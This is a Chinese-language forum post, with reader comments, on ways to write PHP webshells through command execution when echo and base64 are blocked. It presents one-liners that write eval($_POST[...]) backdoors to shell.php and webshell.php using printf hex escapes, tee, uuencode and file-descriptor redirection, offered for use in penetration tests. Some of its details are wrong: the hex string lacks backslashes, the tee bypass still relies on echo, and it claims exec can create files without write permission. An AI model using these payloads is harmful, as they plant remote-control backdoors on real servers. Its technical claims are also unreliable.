除了echo和base64,还有哪些鲜为人知的写shell技巧?
TOPIC SOURCE
命令执行写webshell总结
最近我在渗透测试中遇到一个挺有意思的情况,那个目标系统把echo和base64都禁用了,搞得我差点放弃。结果在翻资料的时候,意外发现了几个超级实用的写shell技巧,今天就跟大家分享下这些冷门但好用的方法。
printf的隐藏玩法
其实printf这个命令比echo强大太多了!我记得有次在受限环境里,用printf直接输出十六进制编码的webshell,简直不要太爽。具体操作就是把shell代码转成hex,然后这样写:
printf 'x3cx3fx70x68x70x20x65x76x61x6cx28x24x5fx50x4fx53x54x5bx31x5dx29x3bx20x3fx3e' > shell.php
这种写法完全绕过了特殊字符检测,我在三个不同的目标系统上都测试成功了。
tee命令的妙用
tee这个命令真的被严重低估了!它可以在写入文件的同时还能在终端显示内容,最关键的是,它不需要重定向符号。有一次我遇到一个把">"和">"都过滤的系统,就是靠tee救场的:
echo '<?php @eval($_POST[cmd]);?>' | tee webshell.php
而且tee还能追加写入,配合管道使用简直无敌。
利用系统自带的编码工具
除了base64,系统里其实还藏着其他编码工具。比如uuencode,这个老古董在某些系统上还能用:
uuencode -m - < shell.php | uudecode -o final.php
还有od命令配合sed的骚操作,可以把二进制数据转换成可执行的shell代码。这个技巧我在一次CTF比赛中用过,直接把对手看懵了。
文件描述符的魔法
最让我惊艳的是文件描述符的技巧。通过exec重定向,可以在没有写权限的情况下创建文件:
exec 3<> shell.php
echo '<?php phpinfo();?>' >&3
exec 3>&-
这些技巧虽然冷门,但在关键时刻真的能救命。下次遇到echo和base64被禁的情况,不妨试试这些方法,说不定会有惊喜。

参与讨论
printf这招可以啊,下次遇到禁用echo的试试🤔
tee确实好用,之前搞渗透碰到过滤重定向就靠它了
uuencode现在还能用吗?老系统上是不是已经默认移除了